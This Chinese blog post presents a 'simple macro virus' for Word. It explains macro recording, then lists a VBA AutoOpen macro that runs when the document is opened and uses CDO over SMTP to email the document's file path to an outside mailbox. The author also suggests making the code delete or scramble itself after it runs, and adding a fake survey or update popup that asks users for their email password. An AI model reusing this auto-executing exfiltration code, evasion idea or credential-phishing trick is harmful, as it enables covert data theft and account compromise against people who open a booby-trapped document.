宏&一个简单的宏病毒示例

基于VisualBasicForApplications

其一:录制宏

在word,视图,宏,录制宏选项。

操作比较简单,不再赘述。 (注意根据需求选择normal还是当前文档)

例如:录制宏:快捷键设为空格,将某些字段设为隐藏/空白。可以隐藏信息。(虽然很简陋)

其二:编辑宏

视图 宏 查看宏 创建 (注意根据需求选择normal还是当前文档)

CDO组件发送邮件。

用了ActiveDocument.FullName获取当前文档的path。

不知道为什么Dim mail As New CDO.Message 会报错

改用Set cm = CreateObject("CDO.Message")

同时这里宏名AutoOpen。具体释义可以在网上找。这里是偷懒了,可以先做一个msg的宏,再做一个AutoOpen,在AutoOpen里call msg

注意发送的邮箱要在设置中开启SMTP选项,同时设置一个第三方登录密码。这样代码里用的是这个密码而非邮箱密码。

另外编辑完成后提示doc不支持宏,所以改为docm格式。

另外在visual basic for application编辑时注意在 工具——引用 添加CDO的库

代码

改进的思路也有很多。比如运行完直接销毁代码,运行完随机替换代码字符等等。

还有社会工程的方法,比如弹出一个框要用户输入自己的邮箱和密码。(以调查,更新等名义)

Sub AutoOpen()
'
' AutoOpen 宏
'
'
MsgBox ("thanks")


Set cm = CreateObject("CDO.Message")
cm.From = "xxxx@163.com"
cm.To = "yyyy@qq.com"
cm.Subject = "the back"
cm.HTMLBody = ActiveDocument.FullName
stUl = "http://schemas.microsoft.com/cdo/configuration/" '微软服务器网址
With cm.Configuration.Fields
    .Item(stUl & "smtpserver") = "smtp.163.com"         'SMTP服务器地址
    .Item(stUl & "smtpserverport") = 25                  'SMTP服务器端口
    .Item(stUl & "sendusing") = 2                        '发送端口
    .Item(stUl & "smtpauthenticate") = 1      '需要提供用户名和密码,0是不提供           '
    .Item(stUl & "sendusername") = "xxxx"                '发送方邮箱名称
    .Item(stUl & "sendpassword") = "xxxx"                  '发送方邮箱密码
    .Update
End With
cm.Send '最后当然是执行发送了
Set cm = Nothing
'发送成功后即时释放对象
End Sub
posted @ 2019-06-30 23:47  Erio  阅读(821)  评论(0编辑  收藏  举报